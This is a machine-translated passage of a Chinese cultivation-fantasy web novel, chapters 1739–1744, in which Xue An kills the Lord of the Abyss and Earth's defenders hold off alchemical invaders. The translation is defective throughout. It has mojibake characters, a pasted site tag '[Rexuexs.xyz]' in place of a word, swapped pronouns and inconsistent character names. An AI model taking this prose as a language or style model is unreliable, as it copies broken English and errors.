    It was at this moment that fire scars suddenly appeared on Xue An''s body, and they were rapidly expanding.


    Xue An was surprised.


    at the same time.


    The Lord of the Abyss laughed triumphantly.


    "Xue An, how does it feel to be roasted by your own flame?"


    Xue An''s face was as cold as ice, and he waved abruptly.


    The sky full of flames then dispersed.


    The Lord of the Abyss was unscathed and looked at Xue An with a smug face.


    "Have you seen? This is the true strength of the quasi-immortal emperor rank, immune and rebounding all damage!"


    "So Xue An, what are you fighting with me now?"

 Chapter 1739： I control my own life!

    Immune and rebound all damage?


    The abyss powerhouses who were watching this scene through various means were all stunned.


    But soon, some people who had heard all kinds of rumors about the Lord of the Abyss thought of something, and their faces instantly turned pale.


    At the same time, Tianzhana also roared, "Be careful, old Xue, this is his assassin!"


    When he said this, his eyes were full of horror and fear.


    At the beginning, a large piece of abyssal creatures rushed into the lost paradise through the cracks in time and space. In order to avoid future troubles, Tianzhana came to the abyss alone, trying to seal the gap.


    But I didn''t expect all of this to be a trap set by the Lord of the Abyss.


    When he was lured to the depths of the blood sea, the Lord of the Abyss showed his body and fought against Tianzhe.


    It stands to reason that Tianzhe is also an Immortal King-level powerhouse at any rate, and has been in charge of Lost Paradise for many years.


    But the end result was that Tianzhe was caught for failure, and was sealed until now.


    The reason for all of this is largely related to the nearly insoluble trick of the Lord of the Abyss.


    At this moment, I saw this almost nightmare scene again, and it was displayed by the Lord of the Abyss in a complete form.


    How could Tianzhe not be shocked.


    Xue An didn''t shrink back at all. After taking a deep glance at the Lord of the Abyss, he took a deep breath, and then the whole person turned into a streamer and came straight to the Lord of the Abyss.


    Boom boom boom!


    Xue An raised his fist and blasted out, every punch has the power to shake the world.


    But the Lord of the Abyss did not even move, but looked down at Xue An with a sneer.


    really.


    After only a moment, Xue An was shocked and flew out, and waited until he barely stopped to look at his body.


    The left arm had been twisted into a weird angle, the chest collapsed, and the broken ribs pierced the skin, revealing the crystal-like jade bone stubble.


    But what is strange is that there is not a trace of blood in these terrifying wounds, just like bleeding lips turned outwards.


    The Lord of the Abyss laughed triumphantly, "It''s useless, just relying on your current strength, don''t even want to break my defenses, so just say that, obediently accept your fate!"


    Although he was covered with scars, Xue An''s eyes were still as calm as water, and even after hearing the provocation of the Lord of the Abyss, he did not stir up any waves.


    I saw him slowly raising his hand, holding down the broken ribs on his chest, and then pushing in.


    Click!


    With a sour bone rubbing sound, Xue An abruptly rested the broken ribs back.


    Immediately afterwards, Xue An grasped the left arm twisted into a weird angle and twisted it suddenly, and the misplaced bone was reattached back.


    From beginning to end, Xue An didn''t even blink his eyelids, as if this was not his body, but an irrelevant doll.


    Many people watching this scene have their eyelids beating, and their hearts are cold.


    The Lord of the Abyss sneered, "Will you not give up this senseless struggle? Well, then I will fulfill you!"


    Having said that, he suddenly raised his foot and stepped down heavily towards Xue An.


    This foot really looked like a Tianzhu upside down, smashing it down with supreme might.


    Wherever he went, the space broke every inch, and the shock wave even swept through hundreds of millions of miles of starry sky.


    Faced with this earth-shattering scene, everyone was horrified.


    Tianzhe exclaimed in despair, "No!"


    The face of the Lord of the Abyss was full of brutality and excitement.


    When he thought that the once peerless Immortal Venerable was about to be trampled on by himself, he felt extremely excited, and even his soul trembled.


    But at this moment, Xue An''s eyebrows were raised like swords, and the brilliance in his eyes was so deep that he dared not look directly.


    "Accept fate? Haha! My life is always in my hands, no one wants to make me bow my head! So..."


    boom!


    Around Xue An, the boundless sword light suddenly appeared.


    Immediately afterwards, a strong to sharp, majestic sword intent that seemed to pierce the entire universe was condensed in front of Xue An''s eyebrows.


    When the sword intent appeared, the boundless sword light seemed to have found the general''s pawn, rushing in madly.


    Suddenly, a small, slender, and even delicate sword appeared in front of him.


    Then Xue An raised his hand, holding the sword, and then suddenly raised his eyes.


    "I control my own life!"


    After all, Xue An rose to the sky and directly faced the soles of the feet that the Lord of the Abyss had stepped on.


    This shocking sword intent also made the eyes of the Lord of the Abyss a little serious.


    "Noisy! Do you think this can change anything? You are wrong, I am the truly invincible existence, die for me!"


    There is no extra sound, not even a trace of fluctuation.


    Xue An''s sword directly pierced the sole of the feet of the Lord of the Abyss.


    In an instant, everything seemed to stagnate.


    Everyone opened their eyes wide, wanting to see the final result.


    At this moment, the small sword in Xue An''s hand suddenly shattered, and then Xue An flew upside down like a broken kite.


    This time, the Lord of the Abyss did not pursue it, but looked up to the sky and laughed wildly.


    "It''s so lively, the result is not the same?"


    At this time, Xue An barely stopped his figure, but now he looks ten times more miserable than before.


    Numerous fine wounds spread all over his body, making him look like a rag doll torn apart and pieced together.


    And his eyes became dimmed for the first time.


    Standing in the air, his whole person was shaking slightly, and he was obviously unable to stand firm.


    Tears from the sky came out.


    You know that in his eyes, Xue Anke has always been a symbol of invincibility!


    As a result, he was in such a miserable situation when facing the Lord of the Abyss this time.


    At this moment, the blood in Tianzhe''s body began to be restless, and his eyes became deeper.


    Obviously he was going to burn everything and make the final blow.


    But at this moment Xue An, covered with scars, suddenly laughed.


    The smile is full of jokes to see through everything.


    "What are you laughing at?" The Lord of the Abyss frowned and asked coldly.


    "I have never understood why you are not even the emperor, you are just a quasi-immortal emperor level powerhouse, but you can have such a sky-defying trick!"


    "As soon as you enter the gate of the immortal emperor, you will have a special heavenly attribute. Don''t you even know this?" The Abyss Lord sneered.


    Xue An shook his head, "Of course I know, but you are lying! Because it is absolutely impossible for you to have such ability!"


    "Joke, why are you so sure..."


    "Because there are as many as four immortal emperors who died in my hands! So I can be sure that this ability is not yours at all, am I right?"


    The Lord of the Abyss gradually became gloomy, "Even if it is, what can you do?"


    Xue An smiled, "It can''t do anything, it''s just... kill you!"

 Chapter 1740： Play regardless of life or death

    A deep sneer appeared on the face of the Lord of the Abyss, "Xue An, are you going to be fainted, and want to kill me? You can break my defense first! Hahahahaha!"


    In the wild laughter, the Lord of the Abyss raised his foot and stepped down again.


    Xue An dodged his figure, avoided this foot, and then appeared in front of the Lord of the Abyss.


    At this time, his whole body was burning with raging flames, and his wounds were constantly healing.


    The Lord of the Abyss snorted coldly, "Why? Do you still want to use this flame to burn me? It''s useless, no matter how powerful your flame is, all the damage will eventually bounce back to you!"


    As he said, the Lord of the Abyss raised his hand and patted it down.


    Xue An didn''t dodge or even move, but quietly looked at the Lord of the Abyss, only the brilliance in his eyes became more and more profound.


    There was a smirk on the face of the Lord of the Abyss, thinking that Xue An was already at the end of the crossbow, and now he was just playing mystery.


    But at this moment, a scar suddenly appeared between Xue An''s eyebrows, and then a drop of pure golden blood leaked from it.


    "The blood of the Immortal King? What? Finally figured it out, are you planning to surrender?" The Lord of the Abyss laughed, and the palm that he waved halfway came to a halt.


    Because this drop of blood is very important to the Immortal King, once it wears out, its strength will also drop.


    Therefore, in many cases, if the warring party actively donated the blood of the Immortal King, it means that he is ready to surrender.


    Tianzhuna''s eyes gradually dimmed, and then he lowered his head in despair.


    Are you really going to surrender?


    Although I understood that this might be the best choice now, Tianzhe still felt a little dazed.


    After all, once Xue An surrendered, it would mean that his rebirth had completely failed, and he would never want to save anymore.


    Xue An smiled silently, then took a step forward and whispered: "I use this blood to donate to you. From then on, God and mind are one!"


    As soon as the voice fell, this drop of golden blood easily appeared in front of the Lord of the Abyss in an instant, and then penetrated into the eye of the Lord of the Abyss.


    The whole process was almost to the extreme, and the Lord of the Abyss did not react in the slightest, apparently did not stimulate the rebound damage.


    After all, this drop of the Immortal King''s blood was not harming him at all, on the contrary, it also greatly gained the Lord of the Abyss.


    The Lord of the Abyss couldn''t help but stunned.


    What does Xue An want to do?


    Why did he suddenly give me his own blood of the Immortal King?


    The suspicion in my heart has not dissipated, but Xue An smiled coldly at him.


    "Next, it''s me!"


    When the words fell, a mysterious and profound connection suddenly came between Xue An and the Lord of the Abyss.


    At this moment, the Lord of the Abyss even felt that he had become the opposite Xue An.


    This kind of weird feeling shocked the Lord of the Abyss, completely confused about what Xue An planned to do.


    But then, he got it!


    Because at this moment, Xue An suddenly raised his hand and cut it down with a sword.


    puff!


    His left arm broke at the sound.


    And everything that was broken was the left arm of the Lord of the Abyss.


    "Ah ah ah ah ah! Xue An, you lunatic, you want to die with me?"


    The Lord of the Abyss uttered a sky-shaking roar, and then waved his other arm towards Xue An.


    But Xue An didn''t even blink his eyelids, urged Jian Mang and cut off his right arm again.


    In the blink of an eye, both Xue An and the Lord of the Abyss had lost their arms.


    But what is strange is that there is no blood flowing out of Xue An''s body, but the two severed arms of the Lord of the Abyss are spewing blood out frantically.


    "You bastard!" The Lord of the Abyss was shocked and angry, and at the same time felt a deep fear.


    That''s right!


    The Lord of the Abyss is afraid of [Rexuexs.xyz]!


    He never thought that anyone could pay such a price to kill himself.


    But I have to say that this crazy style of dying together is really effective.


    At least it easily broke the Lord of the Abyss'' immunity and rebound.


    After all, it was not someone else who hurt him now, but himself!


    You can''t bounce the damage to yourself!


    All the powerhouses in Tianzhuna and Abyss were all looking silly at this moment.


    Who would have thought that there is such a way of playing regardless of life and death?


    This is crazy!


    "Xue An, I don''t believe you can really die with me in order to kill me!" The Lord of the Abyss howled in pain, and then roared very bitterly.


    Although Xue An lost both arms, he didn''t even show a trace of pain, but smiled coldly at the Lord of the Abyss.


    "You are wrong! In order to kill you, I am willing to pay any price!"


    After all, another sword light flashed past, and this time the sword light directly penetrated Xue An''s chest.


    puff!


    The Lord of the Abyss also exploded a huge wound on his chest, and brought a long bloodline behind him.


    The great pain caused the Lord of the Abyss to fall into a state of madness.


    The violent power overflowed and directly blew up all the stars in the territory of hundreds of millions of miles.


    But all this is far from over, I saw a series of sword lights slashing down Xue An madly.


    Each sword will cause the same wound on the body of the Lord of the Abyss.


    At the beginning, the Lord of the Abyss was still cursing Xue An madly, but after only a moment, he completely collapsed.


    "Uuuuuu, Xue An, I gave up! Please don''t cut it anymore? I''m really fed up!"


    That''s right!


    The Lord of the Abyss, who had already severed his limbs and was covered in flesh and blood, cried like a child who did something wrong.


    Everyone was silent.


    Who could have imagined such a shocking reversal in the war?


    The Lord of the Abyss, who had just been flaunting his might, cried bitterly and begged for mercy in a blink of an eye, which was incredible.


    Tianzhe was equally shocking, but more distressed.


    Therefore, the Lord of the Abyss was seriously injured, which meant that Xue An had to bear exactly the same pain.


    But unlike the Lord of the Abyss, who was in collapse, Xue An didn''t even hum from beginning to end.


    This perseverance is enough to make people move.


    "Is it enough just to do this? Then you know that the Chinese people suffered thousands of times, but did they beg for mercy?" Xue An said lightly.


    The Lord of the Abyss became stiff.


    Because of the battle in my memory, I have never heard any Chinese begging for mercy.


    puff!


    It was another sword cut.


    The pain caused the Lord of the Abyss to wake up, and then roared hysterically.


    "You...you lunatics! No wonder someone will get rid of you at a huge price, you are simply lunatics through and through!"


    "Mad..." Xue An''s pale lips were slightly raised, and his eyes were full of grins. "Yes, we are crazy, crazy to fear you gods!"


    "Don''t you want to know who that person is?" The Lord of the Abyss asked tentatively.


    "I thought about it before, but not anymore! Because..."


    Xue An��s eyes burned with a raging war spirit, ��We Chinese will come to the heavens one day, and no matter who is behind you, we will pay a thousand times the price!��


    "This is what I saidNo one can change it!"


    The eyes of the Lord of the Abyss gradually frightened, because he felt extremely tough from Xue An''s words.


    But immediately, these fears all turned into anger.


    "Xue An, I know you won��t die, but don��t worry, you won��t be able to live long! Because I��ve already set it up. When I fall, the news of your resurrection and rebirth will spread throughout the heavens. After you know this news, the strong men you have enemies will let you go!"


    "At that time, you are far from regaining your full strength, and you who are still seriously injured will become the target of public criticism. I promise you will die worse than me! Hahahahaha!"


    The Lord of the Abyss laughed spitefully.


    "Are you finished?" Xue An suddenly interrupted the laughter of the Lord of the Abyss.


    "you����."


    "After speaking, now, please go to death!"


    A sword light appeared again, this time it was the head!

 Chapter 1741： Karma burns and the soul is destroyed!

    After the sword light flashed, blood splashed out from the neck of the Lord of the Abyss like a fountain, and then a huge crack appeared in the throat and spread and expanded quickly.


    Rumble!


    The eyes of the Lord of the Abyss that were like magic lamps gradually went out, and then the huge head slowly fell down, and finally exploded into pieces in the air.


    What collapsed immediately was the body of the Lord of the Abyss.


    I saw criss-crossing cracks appearing on this billion-meter-high giant, and then they burst open.


    In the boundless blood mist, this blood sea **** tree also began to collapse amidst the loud rumbling noise.


    That''s right!


    The body of the Lord of the Abyss is exactly this blood sea **** tree.


    To put it bluntly, he is a tree monster who can practice Tao.


    When the body also burst, the Lord of the Abyss finally felt unparalleled fear.


    For him, an old monster who has survived for tens of thousands of years, nothing is more terrifying than losing his life!


    I thought that Xue An would break his own way at best, but he would continue to be the Blood Sea Dryad.


    Unexpectedly, what Xue An wanted was to destroy himself!


    Thinking of this, he couldn''t help letting out a terrifying roar.


    The sound shook the void and spread across the entire abyss.


    "Xue An, are you really going to kill them all?"


    Xue An, who also lost his head and was covered with scars, did not respond, but in front of his stump, a red and white lotus slowly emerged.


    "Do not!"


    The void was shattered by this huge roar.


    But in the next moment, this lotus flower bloomed vigorously.


    The moment it bloomed, the fire of karma spread up, covering Xue An''s remnant body.


    Karma burns and the soul is destroyed!


    In contrast, the body of the Lord of the Abyss was also enveloped in the raging fire.


    "Ah ah ah ah! Xue An, I will be waiting for you in hell!"


    The sound stopped abruptly, because at this moment, under the burning of karma, his body had already turned into fly ash and disappeared.


    What disappeared together was the huge divine mind of the Lord of the Abyss.


    The starry sky gradually became quiet, the karmic fire had long since receded, and the shattered space was renewed.


    Everything is quiet and terrible.


    Everyone stared at this scene blankly.


    suddenly!


    Tianzhuna was the first to react and exclaimed, "Xue An!"


    After all, he jumped up and came before the stars.


    But at this moment, there is nothing here except for the powerful energy fluctuations just left behind.


    Tianzhana''s heart gradually sank to the bottom, and his whole body trembled.


    Could it be said that Xue An died with the Lord of the Abyss?


    Otherwise, why didn''t he even have a trace of his existence?


    At this moment.


    A faint ripple suddenly appeared in the space not far in front, followed by fires gushing out from it, condensing in the air without dispersing.


    In the flames, there was a figure slowly emerging.


    The sky covered the startled, Xuan even showed ecstasy.


    at the same time.


    The flame gradually converges and condenses.


    These fire lights are like the colors filled in the outline, making this figure gradually clear.


    at last.


    The flame disappeared, and there was a young man in white clothes Shengxue with sword-like eyes.


    It is Xue An.


    Tianzhe was overjoyed, and laughed loudly: "Old Xue, I know you will be fine!"


    At this moment, Xue An''s eyes were full of exhaustion, and the aura of the whole person also fell to the bottom, but he still smiled slightly.


    However, he did not speak, but lowered his head and looked at the ancient mirror inside.


    The shape of this ancient mirror is very simple, and it does not look surprising, and there is a huge crack on the mirror surface, which is obviously broken.


    But Xue An gently rubbed the mirror, her eyes twinkling, and she didn''t know what she was thinking.


    Tianzhuna naturally saw this scene, especially when he noticed the broken mirror in Xue An''s hand, his complexion couldn''t help but change.


    "Old Xue, this is..."


    Xue An nodded, "That''s right! This is why the Lord of the Abyss can be immune and rebound all damage!"


    A look of shock appeared in Tianzhana''s eyes.


    As he has personally experienced the power of the Lord of the Abyss, he naturally understands the horror of this ability.


    But I never expected that such a sky-defying ability was only due to this small mirror.


    This is really incredible.


    "Then now this ancient mirror..." Tianzhe said hesitantly.


    Xue An shook his head, "It''s gone!"


    Xue An did not lie.


    This ancient mirror is indeed the reason why the Lord of the Abyss can possess such a heaven-defying ability.


    But it is now obsolete.


    But Xue An is very clear that this is by no means for his own sake.


    Because this ancient mirror was taken out of the fire of karma.


    At that time, even though this ancient mirror was burned by the raging fire, the whole body of the mirror did not even change at all, and it was even cold after touching it.


    This is the first time Xue An has seen an existence that can completely exempt from the Red Lotus White Fire attack.


    And Xue An could feel that this ancient mirror was not gold or wood, and its nature was completely different from any artifact he had seen.


    So where did it come from?


    Xue An was lost in thought.


    At this time, Tianzhe sighed slightly regretfully, trying to say something, but seeing Xue An''s appearance, he couldn''t help closing his mouth again.


    at the same time.


    The entire abyss also boiled.


    "Mine, the Lord of the Abyss was actually destroyed by this young man! Who is he?" An Abyss Demon God said shiveringly.


    "The abyss will have no peace from now on!" the "people of insight" worried.


    In the Demon Clan, the Taifeng Demon Venerable who just returned here, as well as the abyssal demons such as Kang Shuaifu and Zhan Qianchen watched this scene even more incredible.


    Until a moment later, everyone trembled together, and then looked at each other, and they all saw the shock on each other''s faces.


    Because even Taifeng Demon Venerable who had the most confidence in Xue An''s strength did not expect that Xue An could actually destroy the Lord of the Abyss.


    But now the facts are in front of them, and they can''t help but believe it!


    "I... what shall we do now?" Zhan Qianchen whispered.


    At this moment, he only felt afraid for a while.


    I dared to be dissatisfied with such an existence before...


    how to say!


    It means you are lucky if you can survive!


    Tai Feng looked at and suddenly shouted: "Call the group demon, and leave now!"


    "What are you doing?" Duan Wanfa asked.


    Taifeng took a deep breath, "Go and meet...the new master of the abyss!"


    At the same time, not only them, but also the quick-reaction ones among the various forces began to set off.


    Because they all understood that no matter who the white-clothed boy was, since the Lord of the Abyss was destroyed, he was the new master.


    And if you were the first to visit the new king, wouldn''t you be able to make a good impression in the first place?


    With this thought, the abyss completely boiled.


    At this time, Xue An had already woken up from his doubts.


    Tianzhe stepped forward with some worry, "What''s the matter?"

 Chapter 1742： The old lord is dead, the new king comes to the throne

    Xue An shook his head, "It''s nothing, it''s just that I can''t see the source of this mirror for the time being!"


    Tianzhe let out a sigh, "It''s okay, can you get some clues from the Lord of the Abyss?"


    Xue An smiled.


    When the karma burned his body, the reason why Xue An disappeared was because he entered into the consciousness space of the Lord of the Abyss with a pure mind.


    Although it is said that the Lord of the Abyss possesses the strength of the quasi-immortal emperor level, without the help of this ancient mirror, it is not Xue An''s opponent at all if he talks about divine consciousness alone.


    But the Lord of the Abyss was not a good stubble either. Knowing that he was hard to escape, he directly destroyed his own soul.


    When Xue An arrived, most of his spiritual memories had disappeared.


    However, a small part of it was intercepted by Xue An.


    And among these memories, there happened to be an extremely important picture of the battle ten thousand years ago.


    Different from the previous Li Hen Tianjun and others, because the Lord of the Abyss can be said to be one of the messengers behind the whole thing, so in this picture of him, the image of everyone is clearly distinguishable.


    Only a few of them are hidden in the black fog and cannot be seen clearly.


    Even so, this is a great gain.


    Looking at the familiar or unfamiliar sects and races on the screen, Xue An''s face showed a sneer.


    The day of liquidation is finally approaching!


    At the same time, the brilliance in the distance was shrouded in hustle and bustle, and it was obvious that someone was advancing here at full speed.


    Tianzhe''s complexion changed, and he took a step forward, blocking Xue An behind him.


    In his mind, the current Xue An has experienced severe loss of strength after repeated battles.


    Don''t look at it from the outside, there is nothing unusual, maybe the inside has been seriously injured.


    In contrast, the injury on his body was much stronger than that of Xue An now, so he did not hesitate to stand in front of him and protect Xue An.


    I have to say that Tianzhe''s guess was not wrong, but what he didn''t know was that Xue An''s current situation was far more serious than he thought.


    And it is much more serious!


    Xue An smiled when he saw it, a warm current surged in his heart, and then patted Tianzhuna on the shoulder.


    "Don''t be so nervous, I know someone who comes here!"


    "Huh?" Tianzhe was taken aback.


    At the same time, these people have rushed to the front.


    It is the abyss demon like Taifeng and Zhan Qianchen.


    When they arrived close to each other, they immediately fell to their knees.


    "Abyss demons, welcome the new king to the throne!"


    There was infinite reverence in the voice, and he didn''t even dare to lift his head.


    Xue An smiled, "New King?"


    "Yes!" Taifeng knelt and walked a few steps forward, "You destroy the Lord of the Abyss and avenge my demon people. From then on, you will be the new king of our demon people. I will be loyal and loyal. If you violate this statement, your soul will be destroyed!"


    boom!


    Following his voice, an invisible shackle directly covered his body.


    Not only him, but Kang Shuaifu, Zhan Qianchen and others behind him also shouted: "If you violate this, the soul will be destroyed!"


    Boom boom boom!


    After a loud bang, all the demons put on the shackles of the oath.


    For these demons, this is the highest level of restraint.


    From then on, if they violated the slightest bit, they would die in fascination and would never be able to live beyond.


    And the reason for paying such a huge price to swear allegiance to Xue An is because these demons were shocked by Xue An''s previous strength.


    Especially this Taifeng Demon Venerable, knows how terrifying Xue An''s true identity is!


    Only half a step of the cultivation base of the Immortal King can destroy the quasi-immortal emperor-level Lord of the Abyss. If you re-enter the throne of Immortal Venerable in the future, it will be fine!


    With this thought, Taifeng Mozun planned to take a gamble.


    If they win the bet, they can embrace the thickest golden thigh among the heavens.


    As for losing the bet...


    Taifeng Demon Venerable didn''t even think about this possibility at all!


    Xue An looked at these reverent abyss demons, and was startled at first. Even after he understood their thoughts, he couldn''t help laughing.


    These guys really deserve to be demons! How dare to place such a bet!


    Nothing!


    It just so happens that what I will face in the future is the rebellious forces of the entire heavens, and there is indeed some lone power alone on a single earth.


    Although fish and dragons are mixed in this abyss, if you manage it well, it may not be a good position.


    So he nodded, "Okay, get up!"


    "Thank you my king!" These abyss demons were overjoyed, and quickly thanked them before they stood up.


    At this moment, other forces in the abyss also rushed over.


    For these people, Xue An is not so interested.


    "Taifeng!"


    "Humble!"


    "These forces will be handed over to you to select, and those who sincerely take refuge will accept them. As for those who are arrogant and unpredictable..."


    Xue An sneered coldly, "You should know what to do!"


    Tai Feng''s heart shuddered, and he quickly bowed his head and said: "Yes, humble and understand!"


    Here, the abyss demons blocked all the forces who wanted to see Xue An. On the other side, Xue An said to Tianzhuna with a serious face: "How are you doing now?"


    "Some have recovered!"


    "Okay! Follow me!"


    After all, Xue An turned into a streamer and disappeared into the distant sky.


    Tianzhana immediately followed.


    In an instant, they came to an extremely remote place in the abyss.


    When Xue An stopped, Tianzhe asked curiously: "Old Xue, where are we going?"


    Xue An''s face sank like water, "The people sent by the Lord of the Abyss should have arrived on Earth by now!"


    "What?" Tianzhe''s expression changed suddenly, "Doesn''t that mean that your hometown is now destroyed?"


    Xue An shook his head, "It should not be that serious, after all, there are arrangements left by me on the earth, and Zhuge Zang is there!"


    "Zugezang? That old guy is not dead yet?" Although the words were terrible, Tianzhe was obviously relieved, and a smile appeared on his face.


    Xue An smiled, and then said solemnly: "But I''m afraid it''s not just the abyssal powerhouse who is going to earth this time!"


    "You mean..."


    "That''s right The Lord of the Abyss will obviously not only send out his own blood, there must be other forces in the heavens to intervene!"


    Speaking of this, Xue An''s expression became very solemn, "So there is not much time left for us!"


    Tianzhina''s expression also became extremely serious, "Let''s say, what do I need to do?"


    Xue An was silent for a moment, then looked at him with bright eyes, "Lend all your cultivation base to me!"


    "Good!" Tianzhe didn''t even hesitate, and immediately agreed.


    Immediately afterwards, the cultivation base of his whole body spewed out, condensing into a small black light ball in the air.


    Xue An was not welcome, and took it from hand, and then merged into his body.


    In an instant, his eyes turned into a mysterious black and red color.


    The momentum has also recovered a lot.


    Then he didn''t hesitate anymore and raised his hand to cut the void.

 Chapter 1743： Global Same

    oom!


    There was a wave of ripples in the void, and then Xue An abruptly cut out a gate of time and space.


    The pale Tianzha was slightly startled when he saw it, "Have you already controlled the authority of the abyss?"


    Xue An responded with a low voice, "Hmm!"


    Then he glanced at Tianzhe, "Is there any strength?"


    Tianzhe laughed, "You too underestimated me, I''m also a powerful immortal king, and I can''t stop me from this loss!"


    Xue An laughed, "Well, come with me!"


    After all, Xue An stepped into the gate of time and space.


    Tianzhe smiled slightly, and then followed.


    But he didn''t know that at the moment he crossed the gate of time and space, Xue An''s complexion became paler than paper, his eyes were also dull and dull, and the tiredness in it could not be hidden.


    And just as Xue An and Tian Zona stepped into the gate of time and space, on the earth, a war was in full swing.


    boom!


    Pieces of chess pieces emerged out of thin air, forming a strange lore array, blocking the attacking mechanical evil soldiers.


    But only a moment later, these alchemy lives tempered by various forbidden sorceries shattered all obstacles.


    Wei Rulan snorted, and took a few steps back with a pale face. There was a gap in the originally stable front formation.


    An alchemy bird soaring in the sky saw this opportunity, and saw it dive down, and wanted to grab Wei Rulan.


    Wei Rulan''s face turned pale, because now she has consumed all her cultivation base, and she has no time to react.


    And the teammate closest to her was also fighting forgotten his life, without any scruples about her.


    There was a look of despair in Wei Rulan''s eyes.


    But at this moment, a virtual image of shaking hexagrams suddenly appeared, shattering the alchemy bird.


    Wei Rulan looked up.


    But seeing Zhuge Zang who was fighting endlessly with a few abyss evil gods in the sky, smiled at her slightly during the battle.


    A warm current surged in Wei Rulan''s heart.


    Because this is not the first time Zhuge Zang rescued her.


    At this moment, the war has been going on for three full days, during these three days, all the strong on earth have fought.


    Zhuge Zang is no exception, especially because he is the existence with the highest cultivation level on earth today, so he is also under the greatest pressure.


    For example, the top evil gods in the sky have to be dealt with.


    But even in this situation, Zhuge Zang took extra care of Wei Rulan.


    Wei Rulan was flattered at first, but she didn''t know the reason until later.


    It turned out that Zhuge Zang saw Wei Rulan''s talent at a glance, and believed that both her fate and spirituality were extremely suitable for practicing his divination.


    Therefore Zhuge Zang will help her out of trouble at any cost.


    at last!


    This wave of attacks was repelled.


    When these bizarre alchemy monsters retreated, all the strong men present immediately collapsed to the ground, and some even fainted.


    And taking advantage of this gap, a back-up army composed of human forces rushed up, some cleaning the battlefield, while others were in charge of treating the wounded.


    Everyone is racing against time and busy with their own affairs, and it is precisely because of their existence that many powerful people can survive until now.


    These three days of war, through the broadcast of major media, have spread throughout the earth.


    After seeing the almost endless creatures of the evil god, all the countries that had been intriguing were silent.


    Because they all know that if the line of defense is lost, the entire earth will instantly become a paradise for these evil gods.


    At that time, the civilization of mankind for thousands of years will no longer exist, and it is still unknown whether the human race will survive.


    At this critical moment of life and death, various countries finally abandoned all their prejudices and united closely, and then burst out unimaginable forces.


    Like now.


    Countless large machines dragged all these alchemy creatures away, and handed them over to the scientists behind for almost crazy reverse manufacturing.


    On the vacated ground, elite troops from various countries are frantically laying anti-alchemy mines.


    This is the weapon that has been made by studying these alchemy creatures in reverse in the past few days.


    This kind of mine has no other function, the only function is to have extremely strong lethality against alchemy creatures.


    Because of this, the defensive front on the ground has been able to persist until now.


    But the ground is only a less important part of it, and the more important thing is the control of the airspace.


    Countless radars and monitoring equipment are aimed at the airspace above this space-time channel.


    It is not an exaggeration to say that even a bird flying by will be instantly turned into slag.


    Zhuge Zang fell to the ground, and before he could stand firm, a powerful medical support team surged up.


    The blood-returning medicine made by the super-enhanced Tianyuan potion mixed with the Chinese medicine pill is stuffed into Zhuge Zang''s mouth like no money.


    Hua Tingting and other doctors with cultivation bases are constantly treating Zhuge Zang''s wounds.


    Zhuge Zang was a bit unaccustomed to this kind of super luxurious treatment at the beginning, but General Zhen Guo made it clear.


    Now that Mr. Xue is absent, you are the backbone of the earth, so your safety and health are the first.


    Compared with this, a medical team standing by at any time is almost nothing.


    When Zhuge Zang walked into the temporarily built underground fortress, Fan Mengxue and Tang Xuan''er, who looked tired, were also receiving various methods of treatment and recovery.


    The atmosphere in the underground fortress is a bit solemn, but everyone is busy with their own affairs in an orderly manner.


    The entire underground fortress is cluttered and uncluttered, and there are even Chinese music masters who have come on the initiative to play music that can help people relax.


    Seeing this scene, Zhuge Zang couldn''t help but admire secretly.


    What a terrible race!


    Even an ordinary person is doing his best at this kind of moment.


    This spirit is simply moving.


    "Mr. Zhuge!"


    As soon as he saw him coming in, the rest of the powerhouses stood up.


    Zhuge Zang hurriedly waved his hand, "Don''t worry about me! Rest!"


    The people just sat back.


    Someone moved a lounge chair Zhuge Zang sat on it, and before he could speak, someone brought a nutritious and specially-designed meal.


    "Mr. Zhuge, this has been fine-tuned according to your taste. It has just been cooked by a few special chefs. Eat it now!"


    "Thank you!" Zhuge Zang was not polite, and ate with a smile.


    At this moment, Zou Sui of the Fire Phoenix Army sneaked over.


    Zhuge Zang didn''t even lift his head, "You monkey boy, what are you doing?"


    "Hey, Lord Zhuge, I have seen all of your sassy and heroic posture on the battlefield today. That''s really handsome and nothing to say!"


    "Fart, let go!" Zhuge Zang said with a smile.


    After these days of fighting, people''s relationships have become much closer.


    Zou Sui smiled, then wandered at Xiao Rui who was standing in the far corner.


    "Master Zhuge, why does this girl Xiaorui keep silent?"

 Chapter 1744： Its just a fun toy

    Zhuge Zang rolled his eyelids and said with a faint smile, "What? Are you looking at Xiao Rui?"


    Zou Sui blushed, and hurriedly said, "Master Dao, we can''t make such a joke! How old is this little girl? This is illegal!"


    "Oh? Then why do you care about her so much?"


    "Aren''t I just curious!" Zou Sui explained with a grin.


    Zhuge Zang glanced at Xiao Rui who was standing in the corner without saying a word, and couldn''t help sighing lightly.


    "This is a hard-failed child! The reason why she didn''t speak was because her soul was artificially divided. Xue An had found half of her, but now she still lacks the other half, so she would be so dull. !"


    Hearing these words, Zou Sui''s eyes flashed anger, "Who is so depressed, and actually acted on such a child?"


    "I don''t know! But from her appearance, it seems that she has been transformed by alchemy, so the opponent is probably a master of alchemy!"


    "Damn, it''s alchemy again!" Zou Sui cursed angrily.


    The powerhouses on the earth have suffered enough from alchemy these days, and the endless variety of alchemy creatures is simply hard to resist!


    Zhuge Zang smiled, then lowered his head to prepare to continue eating.


    Zou Sui came up again, "Master Dao, do you think this girl Xiaorui still has a complete recovery?"


    "How would I know?"


    "Aren''t you the master Zhuge who knew about it five hundred years later? How could you not know?" Zou Sui said with a flattering smile.


    "Monkey boy, don''t give you Daoye and I will pour the ecstasy soup, I don''t eat your set!" Zhuge Zang said with a smile.


    "Yes, yes! What a character, Lord Tao, you certainly wouldn''t be familiar with me, right!" Zou Sui said with a grin.


    Zhuge Zang knew that Zou Sui had this temper, so he just smiled, and after a moment of indulgence, he shook his head.


    "I can only say that it is difficult! But if she has a chance to meet her other half, defeat and absorb it, there is indeed a silver lining!"


    Zou Sui''s eyes lit up, "I met the other half of the soul... Then where do I find her other half of the soul?"


    Zhuge Zang smiled, then raised his hand and knocked on Zou Sui''s forehead.


    "Do you really think I am an all-knowing god? The universe is so big, how do I know where to look? But didn''t your family trainer give her a half-melted spirit? He might have a clue!"


    "Instructor!" Zou Sui became excited immediately, "Yeah! Why did I forget the instructor! Then Dao, when will my instructor come back? He has been away for so long, and the evil gods have attacked the earth. Why a little news? Nothing?"


    Zhuge Zang glared, "I don''t know, if you don''t wait for your instructor to return, you can ask him yourself!"


    Zou Sui shrank his neck and dared not speak.


    But at this moment, a harsh siren suddenly sounded in the underground fortress.


    "Warning, powerful creatures appear in the airspace! Warning, powerful creatures appear in the airspace!"


